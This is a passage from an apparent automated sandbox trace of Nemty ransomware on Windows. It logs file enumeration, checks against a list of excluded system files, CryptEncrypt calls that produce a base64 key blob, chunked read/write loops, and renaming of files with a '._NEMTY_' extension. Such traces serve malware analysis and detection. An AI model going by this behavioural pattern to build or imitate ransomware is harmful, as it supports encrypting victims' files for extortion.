lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.311] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.339] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340220, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0158.351] CloseHandle (hObject=0xffffffff) returned 0 [0158.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340390 [0158.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0158.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0158.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0158.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0158.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340438 [0158.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404e0 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340438 | out: hHeap=0x4f90000) returned 1 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0158.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\activity16v.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\activity16v.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\activity16v.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\activity16v.png._nemty_kgobjgd_")) returned 0 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340390 | out: hHeap=0x4f90000) returned 1 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0158.351] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87715a6e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87715a6e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1aa, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="alertIcon.png", cAlternateFileName="")) returned 1 [0158.351] lstrcmpiW (lpString1="alertIcon.png", lpString2=".") returned 1 [0158.351] lstrcmpiW (lpString1="alertIcon.png", lpString2="..") returned 1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="...") returned 1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="windows") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="rsa") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="NTDETECT.COM") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="ntldr") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="MSDOS.SYS") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="IO.SYS") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="boot.ini") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="boot.ini") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="AUTOEXEC.BAT") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="ntuser.dat") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="desktop.ini") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="CONFIG.SYS") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="RECYCLER") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="BOOTSECT.BAK") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="bootmgr") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="programdata") returned -1 [0158.352] lstrcmpiW (lpString1="alertIcon.png", lpString2="appdata") returned -1 [0158.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="alertIcon.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0158.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="alertIcon.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alertIcon.png", lpUsedDefaultChar=0x0) returned 13 [0158.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="alertIcon.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0158.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="alertIcon.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alertIcon.png", lpUsedDefaultChar=0x0) returned 13 [0158.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0158.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="alertIcon.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0158.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="alertIcon.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alertIcon.png", lpUsedDefaultChar=0x0) returned 13 [0158.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="alertIcon.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0158.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="alertIcon.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alertIcon.png", lpUsedDefaultChar=0x0) returned 13 [0158.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340178 [0158.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0158.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0158.353] Sleep (dwMilliseconds=0x5) [0158.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12086a50, dwHighDateTime=0x1d561e8)) [0158.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12086a50, dwHighDateTime=0x1d561e8)) [0158.353] GetLastError () returned 0x5 [0158.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0158.353] GetLastError () returned 0x5 [0158.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0158.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.353] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0158.354] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0158.354] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0158.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340220 [0158.354] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340220, pcchString=0x653e91c | out: pszString="IfUuuhSBVtvhcSRiZELpQxAympWWfkY5+AwmOV+EPBItckrqYhzyAEmfs/975htu\r\nFxd/vnSOAZij8W7nAnv8mZCyOGApB6Wey0s6Lt85oJzm0OQrbnxy5+IrApKh/GpQ\r\nAj/y4X3y+4AvePSc52TD2/bYZuMZDI7uD3JfBv6Owj6ZySVMV1rZ/jyag3k2okNl\r\noaKojFRmeZ5NSgmldxMphfyAROUHDTWr/dG7ZolhYZX/AsaVaiOJjNC7aMwzOm8h\r\nZpIODcgCS1xbp3xELGfElwyffIxo0Hgh3QDLH/VMEDcxQLJhvlXothR1edVKICSe\r\nz2z7/mwneuh41mSdcL2uHg==\r\n", pcchString=0x653e91c) returned 1 [0158.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0158.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0158.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0158.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0158.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340220 [0158.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0158.354] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\alerticon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0158.355] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0158.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0158.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.411] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.420] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.420] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.429] SetFilePointer (in: hFile=0xffffffff, 